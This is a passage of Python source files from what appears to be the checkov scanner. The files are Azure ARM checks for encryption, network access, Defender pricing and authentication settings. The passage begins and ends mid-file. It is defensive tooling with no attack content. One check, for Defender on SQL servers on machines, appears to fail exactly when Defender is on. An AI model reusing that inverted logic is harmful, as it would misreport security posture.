__init__(self) -> None: name = "Ensure that Automation account variables are encrypted" id = "CKV_AZURE_73" supported_resources = ("Microsoft.Automation/automationAccounts/variables",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/isEncrypted" def get_expected_value(self) -> bool: return True check = AutomationEncrypted() ================================================ FILE: checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py ================================================ from __future__ import annotations from typing import Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class AzureBatchAccountEndpointAccessDefaultAction(BaseResourceCheck): DISABLED_PUBLIC_NETWORK_ACCESS = "disabled" FORBIDDEN_NETWORK_ACCESS_DEFAULT_ACTION = "allow" def __init__(self) -> None: name = "Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'" id = "CKV_AZURE_248" supported_resources = ("Microsoft.Batch/batchAccounts",) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) @staticmethod def _exists_and_lower_equal(actual_value: Any, expected_lowercase_value: str) -> bool: return actual_value and str(actual_value).lower() == expected_lowercase_value def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get('properties') if not properties or not isinstance(properties, dict): return CheckResult.FAILED public_network_access = properties.get('publicNetworkAccess') # public network access is disabled, no need to check for account access default action if self._exists_and_lower_equal(public_network_access, self.DISABLED_PUBLIC_NETWORK_ACCESS): return CheckResult.PASSED network_profile = properties.get('networkProfile') if not network_profile: return CheckResult.PASSED account_access = network_profile.get('accountAccess') if not account_access: return CheckResult.PASSED default_action = account_access.get('defaultAction') if not self._exists_and_lower_equal(default_action, self.FORBIDDEN_NETWORK_ACCESS_DEFAULT_ACTION): return CheckResult.PASSED self.evaluated_keys = ["properties/networkProfile/accountAccess/defaultAction"] return CheckResult.FAILED check = AzureBatchAccountEndpointAccessDefaultAction() ================================================ FILE: checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureBatchAccountUsesKeyVaultEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Batch account uses key vault to encrypt data" id = "CKV_AZURE_76" supported_resources = ("Microsoft.Batch/batchAccounts",) categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def get_inspected_key(self) -> str: return "properties/keyVaultReference" def get_expected_value(self) -> Any: return ANY_VALUE check = AzureBatchAccountUsesKeyVaultEncryption() ================================================ FILE: checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureDataExplorerDoubleEncryptionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name: str = "Ensure that Azure Data Explorer uses double encryption" id: str = "CKV_AZURE_75" supported_resources = ("Microsoft.Kusto/clusters",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/enableDoubleEncryption" def get_expected_value(self) -> Any: return True check: Any = AzureDataExplorerDoubleEncryptionEnabled() ================================================ FILE: checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py ================================================ from __future__ import annotations from typing import Any, Dict from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class AzureDefenderOnKeyVaults(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Key Vault" id = "CKV_AZURE_87" supported_resources = ("Microsoft.Security/pricings",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get('properties', {}) pricing_tier = properties.get('pricingTier') name = conf.get('name', '') return ( CheckResult.PASSED if pricing_tier == "Standard" and name == 'KeyVaults' else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["properties.pricingTier", "name"] check = AzureDefenderOnKeyVaults() ================================================ FILE: checkov/arm/checks/resource/AzureDefenderOnKubernetes.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class AzureDefenderOnKubernetes(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Kubernetes" id = "CKV_AZURE_85" supported_resources = ("Microsoft.Security/pricings",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: return ( CheckResult.PASSED if conf.get("name") != "KubernetesService" or str(conf["properties"]["pricingTier"]).lower() == "standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> list[str]: return ["name", "pricingTier"] check = AzureDefenderOnKubernetes() ================================================ FILE: checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from typing import List, Dict, Any class AzureDefenderOnSqlServersVMS(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for SQL servers on machines" id = "CKV_AZURE_79" supported_resources = ("Microsoft.Security/pricings",) categories = [CheckCategories.GENERAL_SECURITY] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties", {}) name = conf.get("name", "") tier = properties.get("tier") if tier == "Standard" and name == "SqlServerVirtualMachines": return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["tier"] check = AzureDefenderOnSqlServersVMS() ================================================ FILE: checkov/arm/checks/resource/AzureDefenderOnStorage.py ================================================ from typing import Any, Dict, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class AzureDefenderOnStorage(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender is set to On for Storage" id = "CKV_AZURE_84" supported_resources = ("Microsoft.Security/pricings",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties: Dict[str, Any] = conf.get("properties", {}) pricingTier = properties.get("pricingTier", "") return ( CheckResult.PASSED if pricingTier == "Standard" else CheckResult.FAILED ) def get_evaluated_keys(self) -> List[str]: return ["properties/pricingTier"] check = AzureDefenderOnStorage() ================================================ FILE: checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureFirewallDenyThreatIntelMode(BaseResourceValueCheck): def __init__(self) -> None: """ https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.Firewall.Mode/ Configure deny on threat intel for classic managed Azure Firewalls """ name = "Ensure DenyIntelMode is set to Deny for Azure Firewalls" id = "CKV_AZURE_216" supported_resources = ("Microsoft.Network/azureFirewalls",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/threatIntelMode' def get_expected_value(self) -> Any: return "Deny" check = AzureFirewallDenyThreatIntelMode() ================================================ FILE: checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureFrontDoorEnablesWAF(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Front Door enables WAF" id = "CKV_AZURE_121" supported_resources = ("Microsoft.Network/frontDoors",) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/frontendEndpoints/[0]/properties/webApplicationFirewallPolicyLink/id" def get_expected_value(self) -> Any: return ANY_VALUE check = AzureFrontDoorEnablesWAF() ================================================ FILE: checkov/arm/checks/resource/AzureInstanceExtensions.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureInstanceExtensions(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Virtual Machine Extensions are not Installed" id = "CKV_AZURE_50" supported_resources = ["Microsoft.Compute/virtualMachines"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/osProfile/allowExtensionOperations" def get_expected_value(self) -> bool: return False check = AzureInstanceExtensions() ================================================ FILE: checkov/arm/checks/resource/AzureInstancePassword.py ================================================ from typing import Any, Dict from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class AzureInstancePassword(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)" id = "CKV_AZURE_1" supported_resources = ("Microsoft.Compute/virtualMachines",) categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties") if isinstance(properties, dict): storage_profile = properties.get("storageProfile") if isinstance(storage_profile, dict): image_reference = storage_profile.get("imageReference") if isinstance(image_reference, dict): publisher = image_reference.get("publisher") if publisher and ("windows" in publisher.lower() or "microsoft" in publisher.lower()): # This check is not relevant to Windows systems return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "properties/osProfile/linuxConfiguration/disablePasswordAuthentication" def get_expected_value(self) -> Any: return True check = AzureInstancePassword() ================================================ FILE: checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py ================================================ from typing import Dict, Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.consts import START_LINE, END_LINE class AzureMLWorkspacePrivateEndpoint(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Machine learning workspace is configured with private endpoint" id = "CKV_AZURE_243" supported_resources = ["Microsoft.MachineLearningServices/workspaces"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties") if isinstance(properties, dict): managed_network = properties.get("managedNetwork") if isinstance(managed_network, dict): ob_rules = managed_network.get("outboundRules") if isinstance(ob_rules, dict): # check no outbound rule has private endpoint type for key, rule in ob_rules.items(): if key in [START_LINE, END_LINE]: # Skip inner fields we add continue if rule.get("type") == "PrivateEndpoint": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/[0]/managedNetwork", "properties/[0]/managedNetwork/[0]/outboundRules"] check = AzureMLWorkspacePrivateEndpoint() ================================================ FILE: checkov/arm/checks/resource/AzureManagedDiscEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.data_structures_utils import find_in_dict class AzureManagedDiscEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure managed disk have encryption enabled" id = "CKV_AZURE_2" supported_resources = ("Microsoft.Compute/disks",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("properties") if properties: self.evaluated_keys = ["properties"] encryption = properties.get("encryption") if encryption: # if the block exists, then it is enabled return CheckResult.PASSED encryption_enabled = find_in_dict(input_dict=properties, key_path="encryptionSettingsCollection/enabled") if str(encryption_enabled).lower() == "true": return CheckResult.PASSED encryption_enabled = find_in_dict(input_dict=properties, key_path="encryptionSettings/enabled") if str(encryption_enabled).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED check = AzureManagedDiscEncryption() ================================================ FILE: checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureManagedDiskEncryptionSet(BaseResourceValueCheck): def __init__(self) -> None: name = ( "Ensure that managed disks use a specific set of disk encryption sets for the " "customer-managed key encryption" ) id = "CKV_AZURE_93" supported_resources = ("Microsoft.Compute/disks",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/encryption/diskEncryptionSetId" def get_expected_value(self) -> Any: return ANY_VALUE check = AzureManagedDiskEncryptionSet() ================================================ FILE: checkov/arm/checks/resource/AzureScaleSetPassword.py ================================================ from typing import Dict, Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class AzureScaleSetPassword(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)" id = "CKV_AZURE_49" supported_resources = ("Microsoft.Compute/virtualMachineScaleSets",) categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties") if isinstance(properties, dict): vm_profile = properties.get("virtualMachineProfile") if isinstance(vm_profile, dict): storage_profile = vm_profile.get("storageProfile") if isinstance(storage_profile, dict): image_reference = storage_profile.get("imageReference") if isinstance(image_reference, dict): publisher = image_reference.get("publisher") if publisher and "windows" in publisher.lower(): # This check is not relevant to Windows systems return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "properties/virtualMachineProfile/osProfile/linuxConfiguration/disablePasswordAuthentication" def get_expected_value(self) -> Any: return True check = AzureScaleSetPassword() ================================================ FILE: checkov/arm/checks/resource/AzureSearchSLAIndex.py ================================================ from __future__ import annotations from typing import Any, Dict from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class AzureSearchSLAIndex(BaseResourceCheck): def __init__(self) -> None: # Cognitive Search services support indexing and querying. Indexing is the process of loading content into # the service to make it searchable. Querying is the process where a client searches for content # by sending queries to the index. # Cognitive Search supports a configurable number of replicas. Having multiple replicas allows queries and # index updates to load balance across multiple replicas. # # To receive a Service Level Agreement (SLA) for Search index updates a minimum of 3 replicas is required. name = "Ensure that Azure Cognitive Search maintains SLA for index updates" id = "CKV_AZURE_208" supported_resources = ["Microsoft.Search/searchServices", ] categories = [CheckCategories.GENERAL_SECURITY, ] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties", {}) self.evaluated_keys = ["properties"] if not isinstance(properties, dict): return CheckResult.FAILED replica_count = properties.get("replicaCount") if replica_count and isinstance(replica_count, int): if replica_count >= 3: return CheckResult.PASSED else: self.evaluated_keys = ["properties/replicaCount"] return CheckResult.FAILED else: return CheckResult.FAILED check = AzureSearchSLAIndex() ================================================ FILE: checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class AzureSearchSQLQueryUpdates(BaseResourceCheck): def __init__(self) -> None: # Cognitive Search services support indexing and querying. Indexing is the process of loading content # into the service to make it searchable. Querying is the process where a client searches for content # by sending queries to the index. # Cognitive Search supports a configurable number of replicas. # Having multiple replicas allows queries and index updates to load balance across multiple replicas. # To receive a Service Level Agreement (SLA) for Search index queries a minimum of 2 replicas is required. name = "Ensure that Azure Cognitive Search maintains SLA for search index queries" id = "CKV_AZURE_209" supported_resources = ["Microsoft.Search/searchServices", ] categories = [CheckCategories.GENERAL_SECURITY, ] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties/replicaCount"] properties = conf.get("properties", {}) if not isinstance(properties, dict): return CheckResult.FAILED replica_count = properties.get("replicaCount") if replica_count: if not isinstance(replica_count, int): return CheckResult.UNKNOWN if replica_count >= 2: return CheckResult.PASSED return CheckResult.FAILED check = AzureSearchSQLQueryUpdates() ================================================ FILE: checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py ================================================ from typing import Dict, List, Any, Union from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list class AzureServiceFabricClusterProtectionLevel(BaseResourceCheck): def __init__(self) -> None: name = "Ensures that Service Fabric use three levels of protection available" id = "CKV_AZURE_125" supported_resources = ('Microsoft.ServiceFabric/clusters',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: properties: Union[List[Any], Dict[str, Any]] = conf.get('properties', {}) if not isinstance(properties, dict): self.evaluated_keys = ['properties'] return CheckResult.FAILED settings_conf = force_list(properties.get('fabricSettings', [])) if not isinstance(settings_conf, list): self.evaluated_keys = ['properties/fabricSettings'] return CheckResult.FAILED for setting in settings_conf: if setting and isinstance(setting, dict) and setting.get('name') == 'Security': params = setting.get('parameters', [{}]) if isinstance(params, list) and len(params) > 0 and isinstance(params[0], dict): param = params[0] if param.get('name') == 'ClusterProtectionLevel' and param.get('value') == 'EncryptAndSign': index = settings_conf.index(setting) self.evaluated_keys = [f'fabricSettings/{index}/parameters/name', f'fabricSettings/{index}/parameters/value'] return CheckResult.PASSED else: self.evaluated_keys = [f'fabricSettings/{settings_conf.index(setting)}/parameters'] return CheckResult.FAILED self.evaluated_keys = ['fabricSettings'] return CheckResult.FAILED check = AzureServiceFabricClusterProtectionLevel() ================================================ FILE: checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AzureSparkPoolIsolatedComputeEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure isolated compute is enabled for Synapse Spark pools" id = "CKV_AZURE_242" supported_resources = ["Microsoft.Synapse/workspaces/bigDataPools"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/isComputeIsolationEnabled' check = AzureSparkPoolIsolatedComputeEnabled() ================================================ FILE: checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class SynapseWorkspaceVAisEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Synapse Workspace vulnerability assessment is enabled" id = "CKV2_AZURE_46" supported_resources = ["Microsoft.Synapse/workspaces/vulnerabilityAssessments"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/recurringScans/isEnabled' check = SynapseWorkspaceVAisEnabled() ================================================ FILE: checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Synapse workspaces have no IP firewall rules attached" id = "CKV2_AZURE_19" supported_resources = ["Microsoft.Synapse/workspaces"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: depends_on = conf.get("dependsOn") if depends_on is None or not len(depends_on): return CheckResult.PASSED if any('Microsoft.Synapse/workspaces/firewallRules' in item for item in depends_on): self.evaluated_keys = ["dependsOn"] return CheckResult.FAILED return CheckResult.PASSED check = AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached() ================================================ FILE: checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class CognitiveServicesConfigureIdentity(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that all Azure Cognitive Services accounts are configured with a managed identity" id = "CKV_AZURE_238" supported_resources = ('Microsoft.CognitiveServices/accounts',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/type" def get_expected_value(self) -> Any: return ANY_VALUE check = CognitiveServicesConfigureIdentity() ================================================ FILE: checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class CognitiveServicesDisablesPublicNetwork(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Cognitive Services accounts disable public network access" id = "CKV_AZURE_134" supported_resources = ("Microsoft.CognitiveServices/accounts",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> Any: return "Disabled" check = CognitiveServicesDisablesPublicNetwork() ================================================ FILE: checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class CognitiveServicesEnableLocalAuth(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Cognitive Services accounts disable local authentication" id = "CKV_AZURE_236" supported_resources = ('Microsoft.CognitiveServices/accounts', ) categories = (CheckCategories.NETWORKING, ) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return 'properties/disableLocalAuth' def get_expected_value(self) -> Any: return True check = CognitiveServicesEnableLocalAuth() ================================================ FILE: checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py ================================================ from typing import Dict, Any, Optional from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class CosmosDBAccountsRestrictedAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Cosmos DB accounts have restricted access" id = "CKV_AZURE_99" supported_resources = ('Microsoft.DocumentDB/databaseAccounts',) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties: Optional[Dict[str, Any]] = conf.get('properties') if properties is not None: if 'enableMultipleWriteLocations' not in properties or properties['enableMultipleWriteLocations']: self.evaluated_keys = ['enableMultipleWriteLocations'] if 'isVirtualNetworkFilterEnabled' in properties and properties['isVirtualNetworkFilterEnabled']: self.evaluated_keys.append('isVirtualNetworkFilterEnabled') if 'virtualNetworkRules' in properties and properties['virtualNetworkRules']: self.evaluated_keys.append('virtualNetworkRules') return CheckResult.PASSED if 'ipRules' in properties and properties['ipRules']: self.evaluated_keys.append('ipAddressOrRange') return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = CosmosDBAccountsRestrictedAccess() ================================================ FILE: checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class CosmosDBDisableAccessKeyWrite(BaseResourceCheck): def __init__(self) -> None: name = "Ensure cosmosdb does not allow privileged escalation by restricting management plane changes" id = "CKV_AZURE_132" supported_resources = ('Microsoft.DocumentDB/databaseAccounts',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if 'properties' in conf: if "disableKeyBasedMetadataWriteAccess" in conf['properties'] and conf['properties']['disableKeyBasedMetadataWriteAccess']: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/disableKeyBasedMetadataWriteAccess"] check = CosmosDBDisableAccessKeyWrite() ================================================ FILE: checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class CosmosDBDisablesPublicNetwork(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Cosmos DB disables public network access" id = "CKV_AZURE_101" supported_resources = ['Microsoft.DocumentDB/databaseAccounts'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/publicNetworkAccess' def get_expected_value(self) -> str: return "Disabled" check = CosmosDBDisablesPublicNetwork() ================================================ FILE: checkov/arm/checks/resource/CosmosDBHaveCMK.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class CosmosDBHaveCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest" id = "CKV_AZURE_100" supported_resources = ("Microsoft.DocumentDb/databaseAccounts",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/keyVaultKeyUri" def get_expected_value(self) -> Any: return ANY_VALUE check = CosmosDBHaveCMK() ================================================ FILE: checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class CosmosDBLocalAuthDisabled(BaseResourceValueCheck): def __init__(self) -> None: description = "Ensure that Local Authentication is disabled on CosmosDB" id = "CKV_AZURE_140" supported_resources = ('Microsoft.DocumentDB/databaseAccounts',) categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if conf.get("kind") == "GlobalDocumentDB": return super().scan_resource_conf(conf) return CheckResult.UNKNOWN def get_inspected_key(self) -> str: return "properties/disableLocalAuth" def get_expected_value(self) -> bool: return True check = CosmosDBLocalAuthDisabled() ================================================ FILE: checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck import re SUBSCRIPTION = re.compile(r"\/|\/subscriptions\/[\w\d-]+$|\[subscription\(\).id\]") # https://docs.microsoft.com/en-us/azure/role-based-access-control/custom-roles-template # https://docs.microsoft.com/en-us/azure/role-based-access-control/role-definitions # https://docs.microsoft.com/en-us/azure/templates/microsoft.authorization/2018-01-01-preview/roledefinitions class CustomRoleDefinitionSubscriptionOwner(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that no custom subscription owner roles are created" id = "CKV_AZURE_39" supported_resources = ("Microsoft.Authorization/roleDefinitions",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "assignableScopes" in conf["properties"]: if any( isinstance(scope, str) and re.match(SUBSCRIPTION, scope) for scope in conf["properties"]["assignableScopes"] ): if "permissions" in conf["properties"]: if conf["properties"]["permissions"]: for permission in conf["properties"]["permissions"]: if "actions" in permission and "*" in permission["actions"]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["properties/assignableScopes", "properties/permissions/actions"] check = CustomRoleDefinitionSubscriptionOwner() ================================================ FILE: checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class DataExplorerUsesDiskEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Data Explorer (Kusto) uses disk encryption" id = "CKV_AZURE_74" supported_resources = ("Microsoft.Kusto/clusters",) categories = [CheckCategories.ENCRYPTION,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def get_inspected_key(self) -> str: return "properties/enableDiskEncryption" def get_expected_value(self) -> bool: return True check = DataExplorerUsesDiskEncryption() ================================================ FILE: checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class DataFactoryNoPublicNetworkAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Data factory public network access is disabled" id = "CKV_AZURE_104" supported_resources = ("Microsoft.DataFactory/factories",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> Any: return "Disabled" check = DataFactoryNoPublicNetworkAccess() ================================================ FILE: checkov/arm/checks/resource/DataFactoryUsesGitRepository.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class 